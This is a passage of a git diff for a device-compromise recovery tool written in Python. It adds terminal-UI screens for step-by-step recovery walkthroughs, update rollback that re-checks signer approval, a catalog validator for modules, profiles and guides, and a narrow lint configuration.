"r", encoding="utf-8") as f: data = json.load(f) return SessionState.from_dict(data) def save(self, state: SessionState) -> None: path = self._path(state.profile) - with open(path, "w") as f: + with open(path, "w", encoding="utf-8") as f: json.dump(state.to_dict(), f, indent=2) def mark_step_complete(self, profile_name: str, phase: int, step: int) -> SessionState: diff --git a/rescue/threat_map.py b/rescue/threat_map.py index c740a08..86bd96b 100644 --- a/rescue/threat_map.py +++ b/rescue/threat_map.py @@ -33,7 +33,7 @@ class Threat: def load_threat_map(path: Path) -> list[Threat]: try: - data = yaml.safe_load(path.read_text()) or {} + data = yaml.safe_load(path.read_text(encoding="utf-8")) or {} except yaml.YAMLError as e: raise ValueError(f"threat map {path} is not valid YAML: {e}") from e threats: list[Threat] = [] diff --git a/rescue/tui/app.py b/rescue/tui/app.py index fcb6eb8..b4a9c83 100644 --- a/rescue/tui/app.py +++ b/rescue/tui/app.py @@ -8,28 +8,43 @@ from rescue.module_base import ModuleBase from rescue.orchestrator import Orchestrator from rescue.remediation import load_remediation_walkthroughs +from rescue.session import SessionStore from rescue.tui.screens.categories import CategoryMenuScreen from rescue.tui.screens.loading import LoadingScreen _CSS_PATH = Path(__file__).parent / "app.tcss" +_DEFAULT_SESSION_DIR = Path.home() / ".rescue" / "sessions" + class RescueApp(App): """Multiverse Device Rescue interactive TUI.""" CSS_PATH = _CSS_PATH TITLE = "Multiverse Device Rescue" - BINDINGS = [("q", "quit", "Quit")] + BINDINGS = [ + ("q", "quit", "Quit"), + ("g", "guides", "Guides"), + ] - def __init__(self, modules_dir: Path, guides_dir: Path | None = None): + def __init__( + self, + modules_dir: Path, + guides_dir: Path | None = None, + session_dir: Path | None = None, + ): super().__init__() self.modules_dir = modules_dir + self.guides_dir = guides_dir self.orchestrator = Orchestrator(modules_dir=modules_dir) self.remediation_index = ( load_remediation_walkthroughs(guides_dir / "remediation") if guides_dir is not None else {} ) + # Shared with `rescue guide ` on the CLI, so progress made in + # either place is the same progress rather than two disagreeing records. + self.session_dir = session_dir or _DEFAULT_SESSION_DIR def on_mount(self) -> None: self.push_screen(LoadingScreen(self.orchestrator)) @@ -39,6 +54,21 @@ def on_checks_complete(self, results: list[tuple[ModuleBase, CheckResult]]) -> N checks. Replaces the loading screen with the category menu.""" self.switch_screen(CategoryMenuScreen(results)) + def action_guides(self) -> None: + """Open the guided-walkthrough flow (bound to `g`). + + Available from any screen, including while checks are still running: the + recovery walkthroughs are the part of this tool someone needs *first* + after a compromise, and making them wait for a full scan to finish would + put a progress bar in front of the advice. + """ + if self.guides_dir is None: + self.notify("No guide content is installed.", severity="warning") + return + from rescue.tui.screens.guide import GuideSetsScreen + + self.push_screen(GuideSetsScreen(self.guides_dir, SessionStore(self.session_dir))) + def pop_screen_to_categories(self) -> None: """Pop screens until the category menu (index 1, just above the default screen) is on top.""" @@ -46,6 +76,12 @@ def pop_screen_to_categories(self) -> None: self.pop_screen() -def run_tui(modules_dir: Path, guides_dir: Path | None = None) -> None: - app = RescueApp(modules_dir=modules_dir, guides_dir=guides_dir) +def run_tui( + modules_dir: Path, + guides_dir: Path | None = None, + session_dir: Path | None = None, +) -> None: + app = RescueApp( + modules_dir=modules_dir, guides_dir=guides_dir, session_dir=session_dir + ) app.run() diff --git a/rescue/tui/app.tcss b/rescue/tui/app.tcss index db1ca12..220a017 100644 --- a/rescue/tui/app.tcss +++ b/rescue/tui/app.tcss @@ -26,3 +26,29 @@ .action-row { padding: 0 1; } + +#guide-step-list { + height: 1fr; + border: solid $primary; + padding: 1; +} + +#guide-steps-title { + padding: 1 1 0 1; + text-style: bold; +} + +#guide-steps-summary { + padding: 0 1 1 1; + color: $text-muted; +} + +#guide-step-detail { + height: 1fr; + border: solid $primary; + padding: 1; +} + +#guide-empty { + padding: 1; +} diff --git a/rescue/tui/screens/guide.py b/rescue/tui/screens/guide.py new file mode 100644 index 0000000..f270f05 --- /dev/null +++ b/rescue/tui/screens/guide.py @@ -0,0 +1,264 @@ +"""The guided-walkthrough flow: pick a guide set, pick a phase, work the steps. + +This replaces `guide_placeholder.py`, which rendered three disabled checkboxes +and the words "coming in Plan 3". The guide model, the markdown content, and the +session store it needed have all existed for some time; only the screens were +missing, so the TUI silently had no access to the recovery walkthroughs that are +the reason someone opens this tool after being hacked (roadmap P1#5). + +Three screens, in the order a person moves through them: + +``GuideSetsScreen`` + Which walkthroughs exist, and how far through each one you are. +``GuidePhasesScreen`` + The phases of one walkthrough, with the phase you are on marked. +``GuideStepsScreen`` + The steps of one phase as a live checklist. Ticking a step writes through + to the same ``SessionStore`` the CLI uses, so `rescue guide ` and + the TUI are two views of one piece of progress rather than two records that + disagree. + +Automatable and human-only steps are labelled distinctly and deliberately. Most +of what matters in a security reset — changing a password at the provider, +revoking a session, calling a bank — cannot be automated by anything running on +the affected device, and a checklist that blurs the two invites someone to +assume the tool did something it did not. +""" + +from pathlib import Path + +from textual.app import ComposeResult +from textual.containers import VerticalScroll +from textual.screen import Screen +from textual.widgets import Checkbox, Footer, Header, Markdown, OptionList, Static +from textual.widgets.option_list import Option + +from rescue.guides import Guide, discover_guides +from rescue.session import SessionStore + +# Guide sets live one directory per profile under guides/. This one holds +# finding-triggered remediation walkthroughs rather than a phased recovery +# process, and is reached from a finding instead of from this menu. +_NOT_A_GUIDE_SET = {"remediation"} + + +def discover_guide_sets(guides_dir: Path) -> list[tuple[str, list[Guide]]]: + """Return (name, phases) for every phased guide set on disk, sorted by name.""" + if not guides_dir.is_dir(): + return [] + sets: list[tuple[str, list[Guide]]] = [] + for directory in sorted(p for p in guides_dir.iterdir() if p.is_dir()): + if directory.name in _NOT_A_GUIDE_SET: + continue + guides = discover_guides(guides_dir, directory.name) + if guides: + sets.append((directory.name, guides)) + return sets + + +def _completed(store: SessionStore, profile: str, phase: int) -> set[int]: + return set(store.load(profile).completed_steps.get(phase, [])) + + +def _phase_progress(store: SessionStore, profile: str, guide: Guide) -> tuple[int, int]: + done = _completed(store, profile, guide.phase) + return len(done & {step.number for step in guide.steps}), len(guide.steps) + + +class GuideSetsScreen(Screen): + """Lists the phased walkthroughs available, with overall progress.""" + + BINDINGS = [("escape", "app.pop_screen", "Back")] + + def __init__(self, guides_dir: Path, store: SessionStore): + super().__init__() + self.guides_dir = guides_dir + self.store = store + self.sets = discover_guide_sets(guides_dir) + + def compose(self) -> ComposeResult: + yield Header() + if not self.sets: + yield Static( + "No guided walkthroughs are installed. Guide content ships in " + "guides//phase_N.md.", + id="guide-empty", + ) + yield Footer() + return + + options = [] + for name, guides in self.sets: + done = sum(_phase_progress(self.store, name, g)[0] for g in guides) + total = sum(len(g.steps) for g in guides) + title = guides[0].title or name + options.append( + Option( + f"{name} — {title} [{done}/{total} steps done]", + id=name, + ) + ) + yield OptionList(*options, id="guide-set-list") + yield Footer() + + def on_option_list_option_selected(self, event: OptionList.OptionSelected) -> None: + name = event.option.id + assert name is not None + guides = dict(self.sets)[name] + self.app.push_screen(GuidePhasesScreen(name, guides, self.store)) + + +class GuidePhasesScreen(Screen): + """Lists the phases of one walkthrough and where the session left off.""" + + BINDINGS = [("escape", "app.pop_screen", "Back")] + + def __init__(self, profile_name: str, guides: list[Guide], store: SessionStore): + super().__init__() + self.profile_name = profile_name + self.guides = guides + self.store = store + + def compose(self) -> ComposeResult: + yield Header() + yield OptionList(*self._options(), id="guide-phase-list") + yield Footer() + + def _options(self) -> list[Option]: + state = self.store.load(self.profile_name) + options = [] + for guide in self.guides: + done, total = _phase_progress(self.store, self.profile_name, guide) + marker = "▶ " if guide.phase == state.current_phase else " " + status = "complete" if total and done == total else f"{done}/{total}" + time = f" · {guide.estimated_time}" if guide.estimated_time else "" + options.append( + Option( + f"{marker}Phase {guide.phase}: {guide.title} [{status}]{time}", + id=str(guide.phase), + ) + ) + return options + + def on_screen_resume(self) -> None: + """Refresh the counts after returning from a steps screen. + + Only the option list is rebuilt. Recomposing the whole screen would + also tear down and re-mount the Header while its own mount callback is + still in flight, which is a crash rather than a redraw. + """ + try: + option_list = self.query_one("#guide-phase-list", OptionList) + except Exception: + return + option_list.clear_options() + option_list.add_options(self._options()) + + def on_option_list_option_selected(self, event: OptionList.OptionSelected) -> None: + assert event.option.id is not None + phase = int(event.option.id) + guide = next(g for g in self.guides if g.phase == phase) + self.app.push_screen(GuideStepsScreen(self.profile_name, guide, self.store)) + + +class GuideStepsScreen(Screen): + """One phase as a working checklist, persisted to the session store.""" + + BINDINGS = [ + ("escape", "app.pop_screen", "Back"), + ("d", "show_detail", "Step detail"), + ] + + def __init__(self, profile_name: str, guide: Guide, store: SessionStore): + super().__init__() + self.profile_name = profile_name + self.guide = guide + self.store = store + self._step_by_checkbox: dict[str, int] = {} + + def compose(self) -> ComposeResult: + yield Header() + done = _completed(self.store, self.profile_name, self.guide.phase) + + header = f"Phase {self.guide.phase}: {self.guide.title}" + if self.guide.estimated_time: + header += f" · about {self.guide.estimated_time}" + yield Static(header, id="guide-steps-title") + + automatable = len(self.guide.automatable_steps) + yield Static( + f"{len(self.guide.steps)} steps — {automatable} the tool can help with, " + f"{len(self.guide.steps) - automatable} you do yourself. " + "Press d on a step to read the full instructions.", + id="guide-steps-summary", + ) + + with VerticalScroll(id="guide-step-list"): + for step in self.guide.steps: + checkbox_id = f"guide-step-{step.number}" + self._step_by_checkbox[checkbox_id] = step.number + label = "tool-assisted" if step.automatable else "you do this" + yield Checkbox( + f"Step {step.number}: {step.title} ({label})", + value=step.number in done, + id=checkbox_id, + ) + yield Footer() + + def on_checkbox_changed(self, event: Checkbox.Changed) -> None: + checkbox_id = event.checkbox.id + if checkbox_id not in self._step_by_checkbox: + return + step_number = self._step_by_checkbox[checkbox_id] + state = self.store.load(self.profile_name) + done = state.completed_steps.setdefault(self.guide.phase, []) + + if event.value and step_number not in done: + done.append(step_number) + done.sort() + elif not event.value and step_number in done: + # Un-ticking has to work. Someone who marked a step done and then + # discovered it did not take needs to say so; a checklist that only + # moves forward records a recovery that did not happen. + done.remove(step_number) + else: + return + + self.store.save(state) + self._advance_current_phase(state) + + def _advance_current_phase(self, state) -> None: + """Move the session's current phase forward once this one is complete.""" + if not self.store.is_phase_complete(state, self.guide.phase, self.guide): + return + if state.current_phase <= self.guide.phase: + self.store.advance_phase(self.profile_name, self.guide.phase + 1) + + def action_show_detail(self) -> None: + focused = self.focused + checkbox_id = getattr(focused, "id", None) + if checkbox_id not in self._step_by_checkbox: + return + number = self._step_by_checkbox[checkbox_id] + step = next(s for s in self.guide.steps if s.number == number) + self.app.push_screen(GuideStepDetailScreen(step)) + + +class GuideStepDetailScreen(Screen): + """The full markdown body of a single step.""" + + BINDINGS = [("escape", "app.pop_screen", "Back")] + + def __init__(self, step): + super().__init__() + self.step = step + + def compose(self) -> ComposeResult: + yield Header() + kind = "The tool can help with this step." if self.step.automatable else ( + "This step is yours to do — the tool cannot do it for you." + ) + body = f"# Step {self.step.number}: {self.step.title}\n\n*{kind}*\n\n{self.step.body}" + with VerticalScroll(id="guide-step-detail"): + yield Markdown(body, id="guide-step-detail-body") + yield Footer() diff --git a/rescue/tui/screens/guide_placeholder.py b/rescue/tui/screens/guide_placeholder.py deleted file mode 100644 index aa180d2..0000000 --- a/rescue/tui/screens/guide_placeholder.py +++ /dev/null @@ -1,46 +0,0 @@ -"""Placeholder for the guide/walkthrough system (Plan 3). Shows what a -step-by-step guided walkthrough checklist will look like, without any real -guide content or progress persistence wired up yet.""" - -from textual.app import ComposeResult -from textual.containers import Vertical -from textual.screen import Screen -from textual.widgets import Checkbox, Footer, Header, Static - -from rescue.module_base import ModuleBase - -PLACEHOLDER_STEPS = [ - "Review the finding details", - "Apply the recommended change", - "Confirm the change took effect", -] - - -class GuidePlaceholderScreen(Screen): - """Stub screen for guide/walkthrough rendering. - - This is a hook point for Plan 3 (Profile System & Guide Engine). Once - markdown guide content with frontmatter is parsed, this screen will be - replaced with real step content driven by the guide's `automatable_steps` - and `human_only_steps` metadata. For now it renders a static, disabled - checklist so the eventual UI shape is visible. - """ - - BINDINGS = [("escape", "app.pop_screen", "Back")] - - def __init__(self, mod: ModuleBase): - super().__init__() - self.mod = mod - - def compose(self) -> ComposeResult: - yield Header() - yield Vertical( - Static( - f"Guides & interactive walkthroughs for '{self.mod.name}' are " - f"coming in Plan 3 (Profile System & Guide Engine).", - id="guide-placeholder-message", - ), - Static("Preview of the walkthrough checklist UI:", id="guide-placeholder-preview-label"), - *[Checkbox(step, disabled=True) for step in PLACEHOLDER_STEPS], - ) - yield Footer() diff --git a/rescue/update/engine.py b/rescue/update/engine.py index c89a5f4..aa2b1d4 100644 --- a/rescue/update/engine.py +++ b/rescue/update/engine.py @@ -28,7 +28,8 @@ @dataclass class UpdateResult: - status: str # "up_to_date" | "available" | "pending_approval" | "applied" | "dry_run" + status: str # "up_to_date" | "available" | "pending_approval" | "applied" + # | "dry_run" | "rolled_back" | "no_previous_version" | "using_bundled" old_commit: str | None new_commit: str | None commits: list[CommitInfo] = field(default_factory=list) @@ -132,6 +133,96 @@ def apply(self, target: UpdateResult, dry_run: bool = False) -> UpdateResult: message=f"Updated to {target.new_commit[:12]} ({len(target.commits)} commit(s)).", ) + def rollback(self, dry_run: bool = False) -> UpdateResult: + """Return to the content version applied before the current one (P0#2). + + Rollback re-verifies maintainer approval rather than trusting that the + commit was approved when it was first applied. A signer can be revoked + between then and now, and the whole point of revocation is that content + that signer approved stops being trusted — including content already on + the machine. When that happens the honest answer is not to quietly roll + forward or back but to say so, and point at + :meth:`use_bundled_content`, which needs no signatures at all because + it activates the content that shipped inside the installed package. + """ + current = self.repo.current_commit() + previous = self.repo.previous_applied_commit() + + if previous is None or previous == current: + return UpdateResult( + status="no_previous_version", + old_commit=current, + new_commit=None, + message=( + "No previous content version is recorded on this machine, so there is " + "nothing to roll back to. `rescue update --use-bundled` returns to the " + "content that shipped with the installed package." + ), + ) + + approval = verify_commit_approval( + self.repo, + previous, + self.trusted_signers, + self.config.required_approvals, + self.config.tag_prefix, + self.revoked_signer_ids, + ) + if not approval.approved: + return UpdateResult( + status="pending_approval", + old_commit=current, + new_commit=previous, + message=( + f"The previous content version ({previous[:12]}) is no longer approved " + f"({approval.reason}) — most likely a signer has been revoked since it " + "was applied. Refusing to roll back to it. Use " + "`rescue update --use-bundled` to fall back to the content that shipped " + "with the installed package." + ), + ) + + content_version = self._peek_content_version(previous) + if dry_run: + return UpdateResult( + status="dry_run", + old_commit=current, + new_commit=previous, + content_version=content_version, + message=f"Would roll back to {previous[:12]}.", + ) + + self._validate_content_commit(previous) + self.repo.checkout(previous) + return UpdateResult( + status="rolled_back", + old_commit=current, + new_commit=previous, + content_version=content_version, + message=f"Rolled back to {previous[:12]}.", + ) + + def use_bundled_content(self) -> UpdateResult: + """Deactivate updated content entirely and use what was installed. + + The escape hatch of last resort, and the only one with no dependency on + git, on signatures, or on anything an update wrote. Nothing is deleted: + the checkout stays on disk, so a later `rescue update` can reactivate + content once whatever went wrong is understood. + """ + current = self.repo.current_commit() + self.repo.clear_applied_marker() + return UpdateResult( + status="using_bundled", + old_commit=current, + new_commit=None, + message=( + "Updated content is deactivated. The tool will use the modules, profiles " + "and guides that shipped with the installed package. Nothing was deleted; " + "`rescue update` can activate downloaded content again." + ), + ) + def _peek_content_version(self, commit_sha: str) -> str | None: """Best-effort: read manifest.json's content_version straight out of the not-yet-checked-out commit, purely for a nicer status diff --git a/rescue/update/repo.py b/rescue/update/repo.py index 9afa5ac..7236448 100644 --- a/rescue/update/repo.py +++ b/rescue/update/repo.py @@ -48,6 +48,17 @@ def __init__(self, local_path: Path, remote_url: str): def _applied_marker_path(self) -> Path: return self.local_path / ".git" / "rescue-applied-head" + @property + def _previous_marker_path(self) -> Path: + """The commit that was applied before the current one (roadmap P0#2). + + Kept as a second marker rather than derived from git history: history + tells you which commit came earlier, not which one this machine was + actually running. Those differ whenever a machine skips versions, which + is the normal case for a tool that is opened occasionally. + """ + return self.local_path / ".git" / "rescue-previous-head" + def is_cloned(self) -> bool: return (self.local_path / ".git").exists() @@ -110,12 +121,46 @@ def checkout(self, ref: str) -> None: """Checks out `ref` into the working tree and records it as the newly-applied commit. Callers (rescue.update.engine) must only call this after verify_commit_approval() has approved `ref`.""" + previous = self.current_commit() self._run_git(["checkout", "--detach", ref]) resolved = self._run_git(["rev-parse", ref]).stdout.strip() - marker = self._applied_marker_path - temp_marker = marker.with_suffix(".tmp") - temp_marker.write_text(resolved) - os.replace(temp_marker, marker) + + # Written before the applied marker: if the process dies between the + # two writes, the worst outcome is a previous-marker that matches the + # still-current applied marker, which rollback treats as "nothing to + # roll back to". The reverse order could lose the only record of what + # was working. + if previous is not None and previous != resolved: + self._write_marker(self._previous_marker_path, previous) + self._write_marker(self._applied_marker_path, resolved) + + def previous_applied_commit(self) -> str | None: + """The commit this machine was running before the current one.""" + try: + value = self._previous_marker_path.read_text().strip() + except OSError: + return None + return value or None + + def clear_applied_marker(self) -> None: + """Deactivate updated content without deleting it. + + `runtime.active_content_root()` gates on this marker, so removing it + makes the tool fall back to the content bundled with the installed + package. That is the one recovery path that cannot itself fail: the + bundled content shipped with the binary and was never written by an + update. + """ + try: + self._applied_marker_path.unlink() + except FileNotFoundError: + pass + + @staticmethod + def _write_marker(path: Path, value: str) -> None: + temp = path.with_suffix(".tmp") + temp.write_text(value) + os.replace(temp, path) def list_files_at(self, ref: str) -> list[str]: result = self._run_git(["ls-tree", "-r", "--name-only", ref]) diff --git a/rescue/validate.py b/rescue/validate.py new file mode 100644 index 0000000..b0c964a --- /dev/null +++ b/rescue/validate.py @@ -0,0 +1,413 @@ +"""Whole-catalog validation of everything the tool ships. + +Roadmap P1#3 asks for registry metadata to be validated "at startup and in CI: +unique names, valid dependencies, no cycles, compatible platforms, risk +declaration, and actionable support documentation". This module is that check, +expressed as data rather than as assertions, so the same logic can back a test, +a CI gate, and the ``rescue validate`` command a user can run against their own +installation to confirm nothing is missing or mismatched. + +The design rule here is that a validator must never be the thing that breaks a +rescue. Every check returns a :class:`Problem`; nothing raises, and nothing +executes a module's ``check()``. Discovery already imports module code (roadmap +P0#10 tracks fixing that), but validation adds no further execution. + +Severities are meaningful: + +``ERROR`` + The catalog is internally inconsistent — a profile names a module that does + not exist, two modules claim the same name, dependencies form a cycle. A + user hitting one of these gets silently reduced functionality, so CI fails. + +``WARNING`` + Metadata that is legal but degrades the product: a module with no estimated + duration, a mutating module with no remediation codes to explain itself. + ``--strict`` promotes these to failures. +""" + +from __future__ import annotations + +import sys +from dataclasses import dataclass, field +from enum import Enum +from pathlib import Path + +from rescue.guides import discover_guides +from rescue.models import Platform, RiskLevel +from rescue.module_base import ModuleBase +from rescue.profiles import discover_profiles +from rescue.registry import discover_modules + +# A module that takes longer than this without saying so makes a scan look +# hung. Modules declare duration as free text ("5s", "2m"), so this is only +# used to flag the ones that declare nothing at all. +_UNKNOWN_DURATION = "unknown" + + +class Severity(str, Enum): + ERROR = "error" + WARNING = "warning" + + +@dataclass(frozen=True) +class Problem: + severity: Severity + scope: str + subject: str + message: str + + def format(self) -> str: + return f"[{self.severity.value}] {self.scope}:{self.subject}: {self.message}" + + +@dataclass +class ValidationReport: + problems: list[Problem] = field(default_factory=list) + module_count: int = 0 + profile_count: int = 0 + guide_count: int = 0 + + @property + def errors(self) -> list[Problem]: + return [p for p in self.problems if p.severity is Severity.ERROR] + + @property + def warnings(self) -> list[Problem]: + return [p for p in self.problems if p.severity is Severity.WARNING] + + def ok(self, strict: bool = False) -> bool: + return not self.errors and (not strict or not self.warnings) + + +def _error(scope: str, subject: str, message: str) -> Problem: + return Problem(Severity.ERROR, scope, subject, message) + + +def _warning(scope: str, subject: str, message: str) -> Problem: + return Problem(Severity.WARNING, scope, subject, message) + + +def validate_modules(modules: list[ModuleBase]) -> list[Problem]: + """Check the registry's own metadata for internal consistency.""" + problems: list[Problem] = [] + + seen: dict[str, int] = {} + for module in modules: + seen[module.name] = seen.get(module.name, 0) + 1 + for name, count in sorted(seen.items()): + if count > 1: + # Two modules answering to one name means profiles, the threat map, + # and `rescue run` all silently pick whichever loaded last. + problems.append( + _error("module", name, f"declared {count} times; module names must be unique") + ) + + available = set(seen) + for module in modules: + problems.extend(_validate_module_metadata(module, available)) + + problems.extend(_validate_dependency_graph(modules)) + problems.extend(_documentation_coverage(modules)) + return problems + + +def _documentation_coverage(modules: list[ModuleBase]) -> list[Problem]: + """Report undocumented modules as one warning, not one warning each. + + The roadmap asks for "actionable support documentation" (P1#3), and 264 of + 287 shipped modules carry no prose at all. Emitting a warning per module + buries the handful of problems that need acting on today under a backlog + that will be worked through over time, and makes `--strict` unusable — a + gate nobody can turn on protects nothing. + + One line, with the count and a sample, keeps the backlog visible and the + output readable. + """ + undocumented = sorted(m.name for m in modules if not _has_documentation(m)) + if not undocumented: + return [] + sample = ", ".join(undocumented[:5]) + more = f", and {len(undocumented) - 5} more" if len(undocumented) > 5 else "" + return [ + _warning( + "registry", + "documentation", + f"{len(undocumented)} of {len(modules)} modules have no docstring " + f"explaining what they check or why ({sample}{more})", + ) + ] + + +def _validate_module_metadata(module: ModuleBase, available: set[str]) -> list[Problem]: + problems: list[Problem] = [] + name = module.name + + if not name or not isinstance(name, str): + problems.append(_error("module", str(name), "name is missing or not a string")) + if not module.category: + problems.append(_error("module", name, "category is missing")) + + if not module.platforms: + problems.append( + _error("module", name, "declares no platforms, so it can never be selected") + ) + for platform in module.platforms: + if not isinstance(platform, Platform): + problems.append( + _error("module", name, f"platform {platform!r} is not a Platform member") + ) + + if not isinstance(module.risk_level, RiskLevel): + problems.append( + _error("module", name, f"risk_level {module.risk_level!r} is not a RiskLevel member") + ) + + for dep in module.depends_on: + if dep not in available: + problems.append( + _error("module", name, f"depends on '{dep}', which no module provides") + ) + if dep == name: + problems.append(_error("module", name, "depends on itself")) + + if not isinstance(module.priority, int) or not 0 <= module.priority <= 100: + problems.append( + _error("module", name, f"priority {module.priority!r} is outside 0-100") + ) + + # auto_apply is the switch that lets unattended mode change a system. It is + # only defensible on a SAFE module, so the combination is an error rather + # than a style note. + if module.auto_apply and module.risk_level is not RiskLevel.SAFE: + problems.append( + _error( + "module", + name, + f"sets auto_apply=True at risk level {module.risk_level.value}; " + "unattended mutation is only allowed for SAFE modules", + ) + ) + + if not module.estimated_duration or module.estimated_duration == _UNKNOWN_DURATION: + problems.append( + _warning("module", name, "declares no estimated_duration; scans cannot show progress honestly") + ) + + return problems + + +def _has_documentation(module: ModuleBase) -> bool: + """True if the module carries prose a reader could learn from. + + The convention in this tree is a file-level docstring at the top of the + module's ``__init__.py`` (see ``code_signature_audit``), so look there as + well as at the class. Either satisfies "actionable support documentation"; + requiring both would flag almost every module and make the signal useless. + + Two details that are easy to get wrong, both of which were: + + ``vars()`` rather than attribute access for the class docstring, so a + module does not inherit credit for its base class's prose. + + An explicit ``is None`` check on the containing module. ``getattr(None, + "__doc__", "")`` does not return the default — it returns *NoneType's own* + docstring, which is empty on Python 3.11 and 3.12 and the string "The type + of the None singleton." on 3.13. Written the obvious way, this function + silently reported every module with an unresolvable ``__module__`` as + documented, but only on 3.13. + """ + if (vars(type(module)).get("__doc__") or "").strip(): + return True + containing = sys.modules.get(type(module).__module__) + if containing is None: + return False + return bool((getattr(containing, "__doc__", None) or "").strip()) + + +def _validate_dependency_graph(modules: list[ModuleBase]) -> list[Problem]: + """Report every dependency cycle exactly once, named by its smallest member. + + ``registry.topological_sort`` cannot loop forever — it marks nodes visited + on entry — but it silently emits a cycle in an arbitrary order, so a cycle + turns into a module running before the thing it depends on. Better to fail + the catalog than to schedule it wrongly. + """ + problems: list[Problem] = [] + by_name = {m.name: m for m in modules} + state: dict[str, int] = {} # 0 = unvisited, 1 = on stack, 2 = done + reported: set[tuple[str, ...]] = set() + stack: list[str] = [] + + def visit(name: str) -> None: + if state.get(name, 0) == 2: + return + if state.get(name, 0) == 1: + cycle = stack[stack.index(name):] + # Rotate to start at the alphabetically smallest member so the same + # cycle reached from different entry points is reported once. + pivot = cycle.index(min(cycle)) + key = tuple(cycle[pivot:] + cycle[:pivot]) + if key not in reported: + reported.add(key) + problems.append( + _error( + "module", + key[0], + "dependency cycle: " + " -> ".join(key + (key[0],)), + ) + ) + return + state[name] = 1 + stack.append(name) + module = by_name.get(name) + if module is not None: + for dep in module.depends_on: + if dep in by_name: + visit(dep) + stack.pop() + state[name] = 2 + + for module in sorted(modules, key=lambda m: m.name): + visit(module.name) + return problems + + +def validate_profiles(profiles_dir: Path, modules: list[ModuleBase], guides_dir: Path) -> list[Problem]: + """Every profile must select real modules and point at guides that exist.""" + problems: list[Problem] = [] + available = {m.name for m in modules} + + try: + profiles = discover_profiles(profiles_dir) + except Exception as exc: # a malformed YAML file must not crash the tool + return [_error("profile", str(profiles_dir), f"could not be loaded: {exc}")] + + for name, profile in sorted(profiles.items()): + referenced = ( + set(profile.include_modules) + | set(profile.exclude_modules) + | set(profile.module_config) + ) + for missing in sorted(referenced - available): + problems.append( + _error("profile", name, f"references module '{missing}', which does not exist") + ) + + if profile.include_modules: + selected = [m for m in modules if m.name in set(profile.include_modules)] + selected = [m for m in selected if m.name not in set(profile.exclude_modules)] + if not selected: + problems.append( + _error("profile", name, "selects no modules at all, so running it does nothing") + ) + + for guide_name in profile.guides: + if not discover_guides(guides_dir, guide_name): + problems.append( + _error("profile", name, f"names guide set '{guide_name}', which has no phases on disk") + ) + + if not profile.description: + problems.append(_warning("profile", name, "has no description")) + + return problems + + +def validate_guides(guides_dir: Path, modules: list[ModuleBase]) -> list[Problem]: + """A step may only be advertised as automatable if a module can do it. + + This is the roadmap's sequencing rule — "do not describe a guide step as + automatable until it resolves to a registered module" — enforced instead of + remembered. + """ + problems: list[Problem] = [] + if not guides_dir.is_dir(): + return problems + + known_codes = {code for module in modules for code in module.emits_codes} + + for guide_set in sorted(p for p in guides_dir.iterdir() if p.is_dir()): + if guide_set.name == "remediation": + problems.extend(_validate_remediation_guides(guide_set, known_codes)) + continue + for guide in discover_guides(guides_dir, guide_set.name): + numbers = {step.number for step in guide.steps} + for step_number in guide.automatable_steps: + if step_number not in numbers: + problems.append( + _error( + "guide", + f"{guide_set.name}/phase_{guide.phase}", + f"marks step {step_number} automatable, but no such step exists", + ) + ) + if not guide.title: + problems.append( + _warning("guide", f"{guide_set.name}/phase_{guide.phase}", "has no title") + ) + return problems + + +def _validate_remediation_guides(directory: Path, known_codes: set[str]) -> list[Problem]: + """Remediation walkthroughs are keyed by finding code; orphans never show. + + A walkthrough whose `remediates:` code is emitted by no module is dead + content: the TUI only offers it when a finding carries that code, so it can + never be reached. That is a warning rather than an error because a code may + legitimately be added ahead of the module that emits it. + """ + problems: list[Problem] = [] + from rescue.guides import load_guide + + for path in sorted(directory.glob("*.md")): + try: + guide = load_guide(path) + except Exception as exc: + problems.append(_error("walkthrough", path.name, f"could not be parsed: {exc}")) + continue + if not guide.remediates: + problems.append( + _warning("walkthrough", path.name, "declares no 'remediates' codes, so nothing links to it") + ) + continue + for code in guide.remediates: + if code not in known_codes: + problems.append( + _warning( + "walkthrough", + path.name, + f"remediates '{code}', which no module declares in emits_codes", + ) + ) + return problems + + +def validate_catalog( + modules_dir: Path, + profiles_dir: Path, + guides_dir: Path, + modules: list[ModuleBase] | None = None, +) -> ValidationReport: + """Validate the whole shipped catalog and return every problem found.""" + if modules is None: + modules = discover_modules(modules_dir) + + report = ValidationReport(module_count=len(modules)) + report.problems.extend(validate_modules(modules)) + report.problems.extend(validate_profiles(profiles_dir, modules, guides_dir)) + report.problems.extend(validate_guides(guides_dir, modules)) + + try: + report.profile_count = len(discover_profiles(profiles_dir)) + except Exception: + report.profile_count = 0 + if guides_dir.is_dir(): + report.guide_count = sum(1 for _ in guides_dir.glob("*/*.md")) + + if not modules: + # Discovery finding nothing is the signature failure of a packaging bug + # (roadmap P0#1): the tool installs, launches, and checks nothing. + report.problems.append( + _error("registry", str(modules_dir), "no modules were discovered; the install is missing its content") + ) + return report diff --git a/ruff.toml b/ruff.toml new file mode 100644 index 0000000..8a6b0c5 --- /dev/null +++ b/ruff.toml @@ -0,0 +1,37 @@ +# Lint configuration for the CI `lint` job. +# +# The rule set is deliberately narrow: rules that catch code which is *wrong*, +# not code which is untidy. This tree has 280-odd modules written over a long +# period, and turning on the full default set produces four thousand findings — +# a gate that is red on arrival is a gate everyone learns to ignore, which +# leaves the tree no better protected than having no linter at all. +# +# What is selected here is the class of defect this repository has actually +# shipped: +# +# E9 syntax and IO errors — the tree previously contained three files that +# did not parse on the declared minimum Python at all. +# F821 undefined names — a typo'd name in a rarely-taken branch of a +# diagnostic module surfaces as "check unavailable" at exactly the +# moment someone is relying on it. +# F811 redefinition of an unused name — two functions with one name means the +# first silently never runs. +# F823 use before assignment. +# E711/E712/E713/E714 comparison mistakes that change meaning silently. +# +# Tidiness rules (unused imports, unused locals) are intentionally not gating. +# They are worth cleaning up, but as their own change with its own review, not +# as a blocking check bolted on to unrelated work. + +line-length = 100 + +[lint] +select = ["E9", "F821", "F811", "F823", "E711", "E712", "E713", "E714"] + +[lint.per-file-ignores] +# Test files insert the repository root on sys.path before importing, which +# every static checker reads as an import that is not at the top of the file. +"tests/**" = ["E402"] + +[format] +quote-style = "preserve" diff --git a/scripts/generate_module_catalog.py b/scripts/generate_module_catalog.py new file mode 100644 index 0000000..fdacef5 --- /dev/null +++ b/scripts/generate_module_catalog.py @@ -0,0 +1,278 @@ +#!/usr/bin/env python3 +"""Generate ``docs/modules.md`` from the live module registry. + +The catalog page is the one place in the documentation that claims *what the +tool actually ships*. Hand-maintaining it guarantees it drifts: a module gets +added, renamed, or gains Linux support, and the page keeps describing the tree +as it was months ago. So it is generated from +:func:`rescue.registry.discover_modules` — the same discovery the CLI uses — and +CI runs 